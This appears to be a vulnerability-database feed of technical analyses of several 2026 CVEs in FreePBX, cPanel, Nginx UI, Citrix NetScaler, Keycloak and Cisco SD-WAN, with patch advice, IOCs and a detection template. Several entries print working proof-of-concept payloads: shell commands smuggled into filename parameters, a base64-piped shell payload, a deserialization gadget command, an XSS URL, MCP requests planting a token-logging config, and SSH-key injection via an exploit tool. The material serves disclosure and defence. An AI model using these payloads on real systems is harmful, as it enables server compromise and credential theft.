Activity Feed

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Paperclip is an open-source platform for managing and coordinating teams of AI agents.
In practical terms, Paperclip is a Node.js server with a web UI that lets you create an AI “company” consisting of multiple agents (CEO, CTO, developers, researchers, marketers, etc.), assign goals, track work, enforce budgets, and review decisions

This vulnerability, with a CVE rating of 10, allows an unauthenticated attacker to take over a Paperclip server with only six API calls.
The full chain is described in this Github advisory.

I have submitted a Metasploit module that fully automates this attack.
There are around 700 Paperclip instances reported from a Shodan search so it is fortunately not very common in the Enterprise.
Please upgrade to 2026.410.0 or higher, preferable the latest release, to mitigate this vulnerability (NOTE: 2026.410.0 has already a fix).

References

CVE-2026-41679
Paperclip vulnerability disclosure
Metasploit Module – Paperclip unauthenticated RCE

Credits

Discovery –> Sagi Layani

0
Ratings
Technical Analysis

An authenticated remote code execution (RCE) vulnerability exists in the FreePBX Backup & Restore module due to unsafe use of PHP’s unserialize() function on attacker-controlled data contained within a backup archive.
A low-privileged authenticated user with backup/restore permissions can upload a crafted backup file containing a malicious manifest file, resulting in arbitrary code execution on the FreePBX server.

Attack prerequisites

  • Valid authenticated FreePBX user account
  • Backup & Restore module enabled
  • User has either:
    • Backup & Restore permission, or
    • Restore-only permission (restore-only role appears partially broken but still allows exploitation)

Root cause

During backup restore operations, FreePBX extracts selected files from a user-supplied tar archive.
If a file named manifest exists in the archive, it is read and passed directly to unserialize() without validation, class restrictions, or integrity checks.

if (file_exists($manafestfile)) {
    $manifestdata = file_get_contents($manafestfile);
    $tmpdata = unserialize($manifestdata);
    $meta = [
        'manifest' => $tmpdata
    ];
}

Because the archive contents are attacker-controlled, this enables PHP Object Injection, allowing gadget chains to achieve arbitrary code execution. Gadget chain tested: monolog/rce7 but others are likely viable such as swiftmailer/fw2, monolog/rce1, monolog/rce2, monolog/rce5, monolog/rce6 and guzzle/fw1.

Proof of Concept (PoC)

[1] Generate Malicious Manifest
Using phpggc to generate a Monolog RCE payload:

phpggc monolog/rce7 exec "touch /var/www/html/pawned" -o manifest

[2] Create Malicious Backup Archive

tar -cvzf evil_backup.tar manifest

(Additional required backup files may be included if validation checks exist.)

[3] Upload and Restore Backup

  • Login to FreePBX Admin UI
  • Navigate to Admin → Backup & Restore
  • Upload evil_backup.tar.gz
  • Unsafe deserialization sink hit which results in an RCE

[4] Result
The file /var/www/html/pawned is created, confirming arbitrary command execution during the restore process.

This issue is conceptually similar to:

  • CVE-2014-7235 – FreePBX unsafe unserialize() leading to RCE
  • Differs primarily in requiring authentication, but still results in full server compromise

Mitigation

FreePBX 16 (backup) < 16.0.71 are vulnerable. Please upgrade to version 16.0.71.
FreePBX 17 (backup) >= 17.0.0 < 17.0.6 are vulnerable. Please upgrade to version 17.0.6.

References

CVE-2026-26978
FreePBX vulnerability disclosure

Credits

Discovery –> h00die.gr3y@gmail.com

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    High
Technical Analysis

As we can see patch diffing, the vulnerability is in the error message display on the oauth/oob endpoint. While dorking I found the payload that was exposed by mistake:

http://localhost:8080/auth/realms/master/protocol/openid-connect/oauth/oob?error=%3Ca%20href=%22javascript%26%00colon;alert(document.domain)%22%3EReturn%20to%20application%3C/a%3E

More payloads can be extracted from the patch test suite at services/src/test/java/org/keycloak/theme/KeycloakSanitizerTest.java.

1
Ratings
Technical Analysis

On April 28, 2026, cPanel issued a security update to fix a critical vulnerability affecting the cPanel & WHM and WP Squared products. CVE-2026-41940, the identifier subsequently assigned on April 29, 2026, has a CVSS score of 9.8. Exploitation permits unauthenticated remote attackers to bypass authentication and gain unauthorized administrative access to the affected systems.

cPanel & WHM is web hosting control panel software used to manage websites and servers. WHM provides root-level administration, while cPanel acts as the user-facing interface. Successful exploitation of CVE-2026-41940 grants an attacker control over the cPanel host system, its configurations and databases, and websites it manages. A naive Shodan query for potential targets returns approximately 1.5 million cPanel instances exposed to the internet that may be vulnerable.

As of April 29, 2026, a technical analysis and proof-of-concept exploit have been published by security firm watchTowr. CVE-2026-41940 is an authentication bypass caused by a Carriage Return Line Feed (CRLF) injection in the login and session loading processes of cPanel & WHM.

Before authentication occurs, cpsrvd (the cPanel service daemon) writes a new session file to the disk. The vulnerability allows an attacker to manipulate the whostmgrsession cookie by omitting an expected segment of the cookie value, avoiding the encryption process typically applied to an attacker-provided value. Attackers can inject raw \r\n characters via a malicious basic authorization header, and the system subsequently writes the session file without sanitizing the data. As a result, the attacker can insert arbitrary properties, such as user=root, into their session file. After triggering a reload of the session from the file, the attacker establishes administrator-level access for their token.

I’ve rated Attacker Value as ‘Very High’, since cPanel is broadly exposed to the internet and facilitates valuable access to systems managed by it. I’ve rated Exploitability as ‘Very High’, since the vulnerability is a reliable logic bug in a web service that’s exploitable in the default configuration.

3
Ratings
Technical Analysis

CVE-2026-33032 is a missing authentication bug affecting the ‘Nginx UI’ 3rd-party management tool for the Nginx web server; as a result of missing authentication controls, an unauthenticated attacker who exploits CVE-2026-27944 to leak backup information can access a Model Context Protocol (MCP) server that can perform privileged operations on managed Nginx web servers. Systems are vulnerable in the default IP allowlist configuration, which allows any remote IP to access MCP functionality. Exploitation of both vulnerabilities results in full attacker control of the managed Nginx service.

To exploit CVE-2026-27944, a remote attacker can perform a GET request to the path /api/backup, extract encryption keys returned in the header value for X-Backup-Security, then manually decrypt the AES-256-CBC encrypted backup in the response body. This process is easily facilitated using the proof-of-concept exploit present in the official vendor advisory.

The resulting decrypted materials include an app.ini file that contains a “node secret” value:

[...]
[node]
Name                 = 
Secret               = 6c8b49b3-1d34-4333-b8a1-2132634f99bd
SkipInstallation     = false
Demo                 = false
ICPNumber            = 
PublicSecurityNumber = 
[...]

This value is the only credential material required to authenticate to the /mcp API endpoint. When the correct key is provided in the node_secret parameter of a GET request to that path, a sessionId value is returned.

Request:

GET /mcp?node_secret=6c8b49b3-1d34-4333-b8a1-2172634f99bd HTTP/1.1
Host: 192.168.181.129:9000

Response:

HTTP/1.1 200 OK
[...]

event: endpoint
data: /mcp_message?sessionId=478a6095-af53-4a2b-a176-52bd49122eeb

This permits the attacker to perform a POST request to that endpoint with the provided sessionId value and invoke MCP functionality to load a new Nginx configuration on the managed Nginx instance. We’ll use the PoC provided by the official advisory to create an evil.conf configuration that logs tokens.

Request:

POST /mcp_message?sessionId=7b1ecc9e-a895-4265-9418-757dbba6f9d8 HTTP/1.1
Host: 192.168.181.129:9000
Content-Type: application/json
Content-Length: 391

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}

Response:

HTTP/1.1 202 Accepted
[...]

Shelling into our Nginx UI Docker container, we observe the malicious changes have taken place, indicating full control over the managed Nginx server.

root@4739eddf3f2d:/etc/nginx# ls -ahtr conf.d/
nginx-ui.conf  ..  evil.conf  tokens.log  .

I’ve rated Attacker Value as ‘High’, since this is a very useful vulnerability in the context of a chain with CVE-2026-27944. I’ve rated Exploitability as ‘Moderate’, since exploitation requires some credential material (though it can likely be stolen using the backup leak on many affected installations of Nginx UI).

0
Ratings
Technical Analysis

CVE-2026-3055 — Detection & Recon Analysis


1. Executive summary

Aspect Assessment
Purpose Identify NetScaler ADC/Gateway surfaces that expose SAML/WS-Federation–related HTTP endpoints and return content consistent with Citrix IdP/federation behavior.
CVE linkage Template metadata maps to CVE-2026-3055, CWE-125, Citrix bulletin CTX696300, and a CVSS 4.0 score of 9.3 per embedded classification.
What is proven Exposure and configuration class (reachable endpoints + response shape).
What is not proven Exploitability, memory disclosure size, or patch level. Detection hits are indicators, not proof of successful exploitation.

2. Technical surface under test

The template issues up to four GET requests per target (first successful match stops further paths due to stop-at-first-match: true):

Path Role
/cgi/GetAuthMethods Unauthenticated XML describing authentication methods; strong signal when <authMethods-style content is returned.
/wsfed/passive Passive WS-Federation listener; useful strings include SAML/“process Assertion” style content.
/saml/idp/metadata SAML IdP metadata (EntityDescriptor / IDPSSODescriptor).
/FederationMetadata/2007-06/FederationMetadata.xml AD FS–style federation metadata path sometimes used in similar deployments.

Redirects are limited (max-redirects: 2), which reduces drift onto unrelated pages while still allowing typical HTTPS redirects.


3. Matcher logic (Nuclei)

All of the following must hold (matchers-condition: and):

  1. HTTP 200 — Only successful responses are considered. Errors, redirects that do not end in 200 on the tested URL chain, or auth walls that return non-200 will not match.

  2. Content indicators (citrix-recon-indicators) — A word matcher on the response body with condition: or across:

    • <authMethods (GetAuthMethods),
    • process Assertion (WS-Fed/SAML processing),
    • <EntityDescriptor / IDPSSODescriptor (SAML metadata).
  3. Product fingerprint (citrix-product-fingerprint) — A DSL matcher requiring at least one of:

    • Substrings in headers (nsc_, citrix, netscaler, authenticateresponse), or
    • Substrings in body (citrix, netscaler, explicitforms).

Why the DSL layer exists: A header-only fingerprint misses deployments that return valid body content without distinctive Server/Set-Cookie strings on that specific response. Combining body keywords with the recon strings above keeps the template closer to “Citrix federation surface” than to generic pages that merely mention “Citrix.”

Extractors pull ExplicitForms or SAML from the body for reporting; they do not affect matching.


4. Strengths

  • Multi-path coverage reduces single-endpoint blind spots (e.g., metadata available when GetAuthMethods is locked down).
  • Fingerprint OR logic in the DSL layer improves recall versus the previous header-only approach.
  • References point to vendor remediation (CTX696300), supporting defensive prioritization.

5. Limitations and false signals

Risk Description
False negatives Strict 200 requirement excludes useful 401/403 cases where presence of the endpoint still matters for risk. Deployments behind WAFs or returning custom error pages may not match.
False positives Any host that returns 200 with body strings matching the patterns and generic words like citrix or netscaler could match without being a vulnerable build.
Version / patch The template does not read version strings or build numbers; patching status must be verified separately (appliance UI, show version, vendor advisory matrix).
Exploit confirmation Per vendor and research details, confirmation of the underlying issue typically requires controlled testing beyond passive GETs. The repo’s recon_poc.sh intentionally omits stress/trigger steps.

6. recon_poc.sh alignment

The script performs manual, low-impact checks aligned with the template’s first two paths:

  • Default TARGET=127.0.0.1 to steer usage toward lab environments.
  • Optional PROXY for traffic inspection (e.g., Burp) without hardcoding a third-party host.
  • Warning when the target is not localhost.
  • Explicit disclaimer that results are indicators only, not exploitability proof.

Operationally, the script is useful for validating that a lab NetScaler returns expected XML/snippet shapes before running fuller scanner workflows.


7. Defensive recommendations

  1. Patch per CTX696300 on supported versions; treat matches as priority candidates for patch verification.
  2. Reduce exposure: restrict management and federation endpoints where architecture allows; enforce TLS and monitoring on /cgi/* and federation paths.
  3. Correlate scanner findings with asset inventory and IdP configuration (SAML vs WS-Fed vs LDAP-only) before treating a hit as production-critical.

8. Document scope

This analysis describes detection logic in this repository only. It does not reproduce exploit methodology, timing thresholds, or payload sizes. For authoritative vulnerability details, rely on Citrix publications and your organization’s security advisories.


info:
  name: Citrix NetScaler ADC/Gateway - Advanced SAML IdP & Recon Detection (CVE-2026-3055)
  author: Enoson Mathivannan(https://www.linkedin.com/in/enoson-mathivannan-636985121/)
  severity: critical
  description: |
    Detects Citrix NetScaler ADC and Gateway systems configured as a SAML Identity Provider (IdP) 
    by checking for both official metadata endpoints and active reconnaissance targets identified 
    in the wild. These configurations are vulnerable to CVE-2026-3055 (CitrixBleed 3).
  remediation: |
    Apply the security updates provided by Citrix in bulletin CTX696300 immediately. 
    Systems exposing these endpoints should be prioritized for patching.
  reference:
    - https://support.citrix.com/s/article/CTX696300
    - https://x.com/watchtowrcyber/status/2037629558375993639
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
    cvss-score: 9.3
    cve-id: CVE-2026-3055
    cwe-id: CWE-125
  metadata:
    max-request: 4
    product: netscaler_adc
    vendor: citrix
  tags: cve,cve2026,citrix,netscaler,saml,memory-leak,oob-read,recon

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi/GetAuthMethods"
      - "{{BaseURL}}/wsfed/passive"
      - "{{BaseURL}}/saml/idp/metadata"
      - "{{BaseURL}}/FederationMetadata/2007-06/FederationMetadata.xml"

    stop-at-first-match: true
    max-redirects: 2
    
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        name: citrix-recon-indicators
        words:
          - "<authMethods"                   # From /cgi/GetAuthMethods
          - "process Assertion"              # From /wsfed/passive (SAML signature)
          - "<EntityDescriptor"              # From SAML Metadata
          - "IDPSSODescriptor"               # From SAML Metadata
        case-insensitive: true
        condition: or

      # Header-only fingerprints miss many gateways; allow body hints (same request).
      - type: dsl
        name: citrix-product-fingerprint
        dsl:
          - "contains(tolower(all_headers), 'nsc_') || contains(tolower(all_headers), 'citrix') || contains(tolower(all_headers), 'netscaler') || contains(tolower(all_headers), 'authenticateresponse') || contains(tolower(body), 'citrix') || contains(tolower(body), 'netscaler') || contains(tolower(body), 'explicitforms')"

    extractors:
      - type: regex
        name: exposed-endpoint
        part: body
        regex:
          - "ExplicitForms"                  # Extracted from GetAuthMethods
          - "SAML"                           # Extracted from Metadata
1
Ratings
  • Attacker Value
    High
  • Exploitability
    Medium
Technical Analysis

On March 23, 2026, Citrix published a security advisory for a critical vulnerability affecting their NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway) products. This vulnerability, CVE-2026-3055, which is classified as an out-of-bounds read and holds a CVSS score of 9.3, allows unauthenticated remote attackers to leak potentially sensitive information from the appliance’s memory. The Citrix advisory states that systems configured as a SAML Identity Provider (SAML IDP) are vulnerable, whereas default configurations are unaffected.

As of the advisory’s publication, there is no known in-the-wild exploitation and no public proof-of-concept (PoC) available. According to Citrix, the vulnerability was identified internally via security review. However, exploitation of CVE-2026-3055 is likely to occur once exploit code becomes public, since the affected software is broadly exposed to the internet. Customers running affected Citrix systems should remediate this vulnerability as soon as possible; Citrix software has previously seen memory leak vulnerabilities broadly exploited in the wild, including the infamous “CitrixBleed” vulnerability, CVE-2023-4966, in 2023.

I’ve rated ‘Attacker Value’ as ‘High’ and ‘Exploitability’ as ‘Medium’. These were chosen because the affected configuration is non-default and the difficulty of leaking sensitive materials is not yet established, while also taking into consideration that the affected software is broadly exposed to the public internet and has historically been a very popular target for attackers.

1
Ratings
Technical Analysis

A command injection vulnerability exists in FreePBX.
User-controlled input is passed unsanitized to a shell command executed via exec(), allowing authenticated attackers to achieve remote code execution (RCE) on the FreePBX server. The vulnerability can be triggered via an AJAX endpoint in the System Recordings module and affects users with access to the recordings functionality.

Affected Products

  • Product: FreePBX
  • Module: System Recordings
  • File:
 admin/modules/recordings/Recordings.class.php
  • Function:
 function fixeRIFF($filename)

Tested Versions

  • FreePBX 17.0.24
  • FreePBX 17.0.25

Vulnerability Type

  • OS Command Injection
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • Leads to Remote Code Execution (RCE)

Attack Vector
Authenticated attacker with access to System Recordings module (including lower-privileged administrative users with module access).

Exploit Path

The FreePBX AJAX endpoint /admin/ajax.php exposes functionality from the System Recordings module.

Two AJAX commands are vulnerable:
[1] module=recordings&command=gethtml5
[2] module=recordings&command=convert

User-supplied POST parameters (e.g. file, filenames[]) are insufficiently sanitized and later passed into shell-executed operations via the Media handling subsystem. This allows command injection through crafted filename values..

Impact:
An attacker with access to the System Recordings module can:

  • Execute arbitrary shell commands on the FreePBX server
  • Write files to the web root
  • Potentially escalate to full system compromise

This represents an escalation from module-level access to OS-level command execution.

Proof of Concept (PoC)

Endpoint 1 — gethtml5

POST /admin/ajax.php HTTP/1.1
Host: target
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid-session>

file=dummy.wav;`touch /var/www/html/pawned`&language=en&temporary[en]=0&filenames[en]=dummy.wav&command=gethtml5&module=recordings

Result:
File /var/www/html/pawned is created on the server.

Endpoint 2 — convert

POST /admin/ajax.php HTTP/1.1
Host: target
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid-session>

file=dummy.wav;`touch /var/www/html/pawned`&name=dummy&codec=wav&lang=en&temporary=1&command=convert&module=recordings

Result:
File /var/www/html/pawned is created on the server.

Root Cause

  • Unsafe handling of user-controlled input used in file and media processing
  • Command execution paths reachable via AJAX without sufficient sanitization
  • Missing backend authorization enforcement for sensitive operations

The following code snippet shows the vulnerable code in file admin/modules/recordings/Recordings.class.php.
$filename is not sanitized and shell characters are not escaped.

        public function fixeRIFF($filename){
                exec("file -b $filename | grep 'RIFF' ", $out, $ret);
                if($ret === 0 ){
                        dbug(_("An error is occured on RIFF detection."));
                }
                if(empty($out[0])){
                        if (isset($_POST["name"]) && str_starts_with($_POST["name"], "custom/")) {
                                $f = str_replace("custom/", "", $_POST["name"]);
                        } else {
                                $f = str_replace("custom/", "", $_POST["file"]);
                        }
                        $cmd    = "mv ".$this->temp."/$f.wav $filename";
                        exec($cmd, $out, $ret);
                }
        }

Mitigation

FreePBX 16 (recordings) >= 16.0.17.2 && < 16.0.20 are vulnerable. Please upgrade to version 16.0.20.
FreePBX 17 (recordings) >= 17.0.2.4 && < 17.0.5 are vulnerable. Please upgrade to version 17.0.5.

References

CVE-2026-28287
FreePBX vulnerability disclosure

Credits

Discovery –> h00die.gr3y@gmail.com

1
Ratings
Technical Analysis

A command injection vulnerability exists in FreePBX when using the ElevenLabs Text-to-Speech (TTS) engine. User-controlled input is passed unsanitized to a shell command executed via exec(), allowing authenticated attackers to achieve remote code execution (RCE) on the FreePBX server.
The vulnerability can be triggered via an AJAX endpoint in the System Recordings module and affects users with access to the recordings functionality.

Affected Product

  • Product: FreePBX
  • Module: System Recordings
  • Driver: ElevenLabs TTS
  • File:
 admin/modules/recordings/drivers/Elevenlabs.php
  • Function:
 convertToAudio()

Affected Versions

  • Confirmed on:
    • FreePBX 16 and 17
  • Likely affects all versions where:
    • ElevenLabs TTS driver is present
    • convertToAudio() uses exec() without argument escaping

Vulnerability Type

  • OS Command Injection
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • Leads to Remote Code Execution (RCE)

Attack Vector
Authenticated attacker with access to System Recordings module (including lower-privileged administrative users with module access).

Root Cause

In convertToAudio(), user-controlled input $file is concatenated directly into a shell command without escaping:

$command = "ffmpeg -y -i ".$amp_conf["ASTSPOOLDIR"]."/tmp/".$file.".MP3".
           " -acodec pcm_s16le -ac 1 -ar 44100 ".
           $amp_conf["ASTSPOOLDIR"]."/tmp/".$file.".wav 2>&1";
exec($command, $output, $returnCode);

The $file variable originates from the POST parameter file_name and is not sanitized or escaped, allowing shell meta-characters (e.g., back-ticks) to be injected and executed.

Proof of Concept (PoC)

Payload (Base64-encoded to avoid file creation errors)

echo -n "touch /var/www/html/pawned" | base64

Result:
dG91Y2ggL3Zhci93d3cvaHRtbC9wYXduZWQ=

Injected payload:

echo${IFS}dG91Y2ggL3Zhci93d3cvaHRtbC9wYXduZWQ=|base64${IFS}-d|sh

Exploit Request
[1] First get an ElevenLabs API key (can be obtained from https://elevenlabs.io/app/developers/api-keys) after registration.
[2] Set the API key with the request below.

GET /admin/ajax.php?module=recordings&command=setapikey&engine=Elevenlabs&key=sk_REDACTED HTTP/1.1
Host: <target>
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=<valid-session>

[3] Submit the exploit requests using a valid VoiceId that you can obtain from the response from the request above.

POST /admin/ajax.php?module=recordings&command=ttsConvert HTTP/1.1
Host: <target>
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid-session>

engine=Elevenlabs&file_name=;`echo${IFS}dG91Y2ggL3Zhci93d3cvaHRtbC9wYXduZWQ=|base64${IFS}-d|sh`;&text=Cuckoo&voiceId=CwhRBWXzGAHq8TQ4Fs17&langCode=en

Result:
The command executes successfully and creates the file:
/var/www/html/pawned

This confirms arbitrary command execution on the FreePBX host.

Preconditions

  • Valid FreePBX login
  • Access to System Recordings module
  • ElevenLabs API key configured (free tier sufficient)

Impact

  • Remote Code Execution as the web server user (typically asterisk or www-data)
  • Full compromise of the PBX system
  • Potential lateral movement, call interception, credential theft

Mitigation

FreePBX 16 (recordings) >= 16.0.17.2 && < 16.0.20 are vulnerable. Please upgrade to version 16.0.20.
FreePBX 17 (recordings) >= 17.0.2.4 && < 17.0.5 are vulnerable. Please upgrade to version 17.0.5.

References

CVE-2026-28209
FreePBX vulnerability disclosure

Credits

Discovery –> h00die.gr3y@gmail.com

Image
Technical Analysis

CVE-2026-20127: Cisco Catalyst SD-WAN Authentication Bypass

Overview

On 25th February 2026, Cisco published an advisory for CVE-2026-20127, a critical authentication bypass vulnerability in the vdaemon service of Cisco Catalyst SD-WAN (formerly Viptela). The flaw allows an unauthenticated, remote attacker to subvert the DTLS peering process. By forcing a session into an “Authenticated” state, attackers gain administrative access to the Controller (vSmart) and Manager (vManage), facilitating SSH key injection and subsequent fabric manipulation via NETCONF.

CVE-2026-20127 carries a CVSSv3.1 score of 10.0 (Critical) and is associated with CWE-287: Improper Authentication. A recent investigation by Cisco Talos revealed active exploitation by the threat actor UAT-8616 dating back to 2023.

Impact

Analysis of UAT-8616’s activity confirms that CVE-2026-20127 serves as a primary entry primitive for a “Regression Chain” strategy used to achieve persistent root access:

  1. Initial Foothold: Exploit CVE-2026-20127 to inject an SSH key for the vmanage-admin user.
  2. Firmware Downgrade: Use administrative CLI privileges to force a downgrade to legacy firmware.
  3. Legacy Exploitation: Leverage known privilege escalation vulnerabilities (e.g., CVE-2022-20775) present in downgraded versions.
  4. Anti-Forensic Restoration: Re-apply modern firmware to hide the evidence of the version downgrade while maintaining an OS-level backdoor.

Analysis

Our analysis will detail the “Initial Foothold” portion of the threat actors chain. Showing how CVE-2026-20127 can be used to bypass authentication and inject an attacker controlled SSH key for the vmanage-admin user. Finally we will demonstrate how the attacker can leverage this capability to access the NETCONF service and run arbitrary NETCONF commands.

We focused our analysis on version 20.12.5 of the vdaemon service. The service manages proprietary control-plane peering over both UDP and TCP port 12346 (using DTLS and TLS, respectively). Because the authentication bypass resides in the protocol’s state machine logic rather than the transport layer, the vulnerability is reachable via either encrypted tunnel once established.

We identify the following virtual addresses as relevant functions within the compiled binaries.

Function Purpose Vulnerable (20.12.5) Patched (20.12.6.1) Symbolic Name
Primary Dispatcher 0x0013e42a 0x0013e41c vbond_proc_msg
Bypass Handler (Type 10) 0x00138ab7 0x00138ab1 vbond_proc_challenge_ack_ack
Payload Handler (Type 14) 0x001310ba 0x001310b4 vbond_proc_vmanage_to_peer

Encapsulated Packet Anatomy

This visualizes the “decapsulation” process. It shows that while the outside is a standard DTLS 1.2 packet, the inside is the proprietary vdaemon protocol where the vulnerability resides.

+-----------------------+
| UDP Header (Port)     |
+-----------------------+
| DTLS 1.2 Record       |
+-----------------------+ <--- Decryption Boundary
| vdaemon Header (12B)  |
+-----------------------+
| vdaemon Body          |
+-----------------------+

The vdaemon message wire format for a CHALLENGE_ACK_ACK message is as follows:

Byte(s) Field Value Description
0 msg_type 0x0A Message type 10 (CHALLENGE_ACK_ACK)
1 device_type 0x30 Device type 3 (vSmart), encoded as 3 << 4
2 flags 0xA0 Control Flags
3 reserved 0x00 Reserved
4-7 domain_id 0x00000001 Domain ID (Big-endian u32)
8-11 site_id 0x00000064 Site ID 100 (Big-endian u32)
12 verify_status 0x01 verify_status flag (1 = authenticated)
13 Reserved 0x00 Reserved

Note: After decryption and parsing, the vulnerable code loads this message into an internal buffer structure where verify_status is accessed at offset +0x20 relative to the p_msg pointer in memory, accounting for additional header/padding fields in the internal representation.

The Dispatcher Gate (vbond_proc_msg)

The first stage of vbond_proc_msg is a security gate. It evaluates the peer’s authentication status at offset +0x46 of the peer structure, shown as p_peer->is_authenticated below.

In the vulnerable version, the dispatcher maintained an “Allow List” that explicitly whitelisted CHALLENGE_ACK_ACK (Type 10) messages. This allowed unauthenticated peers to pass through the gate. The patch remediates this by removing the Type 10 exemption ([1]).

  if (p_peer->is_authenticated != 1) {
      /* The "Allow List": Handshake messages permitted before authentication */
      if ((msg_type != 5)  && (msg_type != 8) &&
-         (msg_type != 9)  && (msg_type != 10) && // <-- [1]
+         (msg_type != 9)  &&
          (msg_type != 0)  && (msg_type != 7)) {

          return 0x14; // Reject: Unauthorized
      }
  }

The Vulnerable Router Logic (vbond_proc_msg)

After several hundred lines of intermediate logistical processing (version negotiation, timer setup, and identity logging), the function reaches vbond_proc_msg. This switch statement is responsible for calling the final handlers.

Because the gate (above) was flawed, an unauthenticated CHALLENGE_ACK_ACK (Type 10) message could reach its handler.

// Reachable if (is_authenticated == 1) OR (msg_type is whitelisted)
switch(msg_type) {
  case 10:
	  // This handler blindly sets is_authenticated (+0x46) to 1
	  return vbond_proc_challenge_ack_ack(p_vdaemon, p_peer, p_msg);

  case 14:
	  // This administrative handler is only reachable if is_authenticated == 1
	  return vbond_proc_vmanage_to_peer(p_vdaemon, p_peer, p_msg);
}

Root Cause: State Injection (vbond_proc_challenge_ack_ack)

Because the vulnerable dispatcher allowed a CHALLENGE_ACK_ACK (Type 10) message through the gate, the packet reached the vbond_proc_challenge_ack_ack handler. This function blindly trusts a verify_status byte at offset +0x20 of the decrypted message body.

The patch remediates this by removing the assignment logic entirely ([1]). The session state can now only be transitioned to “Authenticated” by the server’s own cryptographic verification results via a CHALLENGE_ACK (Type 9) message, rather than by a status bit provided by the peer.

// p_msg + 0x20 points to the verify_status bit
  if (p_msg->verify_status != 0) {
      // VULNERABLE: Forced assignment based on remote payload
-     p_peer->is_authenticated = 1; // <-- [1]
      syslog(0xbf, "Handshake completed via ACK_ACK for peer...");
      return 0;
  }

Privilege Escalation: Authentication Flag Usage (vbond_proc_vmanage_to_peer)

The is_authenticated flag at offset +0x46 acts as the master session key. By leveraging the CHALLENGE_ACK_ACK (Type 10) bypass to force this bit to 1, an attacker “unlocks” the dispatcher, granting access to the VMANAGE_TO_PEER (Type 14) message type.

The vbond_proc_vmanage_to_peer handler then:

  1. Extracts the SSH public key from the VMANAGE_TO_PEER message body
  2. Appends it to /home/vmanage-admin/.ssh/authorized_keys
  3. Commits the change to persist the configuration

Once the SSH key is in place, the attacker can authenticate as vmanage-admin over SSH to port 830 (NETCONF service), achieving administrative control over the SD-WAN fabric.

Attack Summary

Step Benign Peering Flow Malicious Bypass (CVE-2026-20127)
1 DTLS 1.2 Handshake (Valid Cert) DTLS 1.2 Handshake (Self-Signed/Bad Cert)
2 Server sends CHALLENGE (Type 8) Server sends CHALLENGE (Type 8)
3 Peer sends CHALLENGE_ACK (Type 9) Attacker skips CHALLENGE_ACK (Type 9) / Identity Proof
4 Server verifies RSA Signature NO CRYPTO VERIFICATION PERFORMED
5 Server sends CHALLENGE_ACK_ACK (Type 10) Attacker FORGES CHALLENGE_ACK_ACK (Type 10, verify_status=1)
6 Peer confirmed as Authenticated Server blindly sets local auth flag to 1

Exploitation

Rapid7 Labs published a PoC that can leverage CVE-2026-20127 to bypass authentication, and subsequently inject an SSH key.

Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

Example

In the example below, the PoC is run against a target Cisco Catalyst SD-WAN Controller appliance and a access to the NETCONF service is achieved.

# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.80.10

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.80.10 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i /home/cryptocat/Desktop/diff/CVE-2026-20127/data/ssh/attacker_ssh_20260311_093456 vmanage-admin@192.168.80.10 -p 830

The following screenshot shows successful exploitation and subsequent SSH access to the NETCONF service:

Image

IOCs

The following indicators are specific to the exploitation of CVE-2026-20127 and the subsequent administrative access achieved via the vdaemon protocol.

1. Control-Plane Peering Anomalies

Exploitation triggers a “Connection UP” event without the typical cryptographic identity exchange. The most distinct marker is the presence of null or uninitialized system identities.

High-Fidelity vsyslog Markers:

  • Null Identities: Peering events where peer-system-ip is recorded as :: or 0.0.0.0.
  • Unauthorized vManage/vSmart Peers: Connections from unrecognized IP addresses claiming high-privileged device roles.

Sample /var/log/vsyslog entry:

Mar  5 17:30:01 vsmart VDAEMON_0[1556]: %Viptela-vSmart-01-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"vSmart-01" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.80.130 public-port:38237 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up
Mar  5 17:30:13 vsmart VDAEMON_0[1556]: %Viptela-vSmart-01-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"vSmart-01" system-ip:1.1.1.2 personality:vsmart
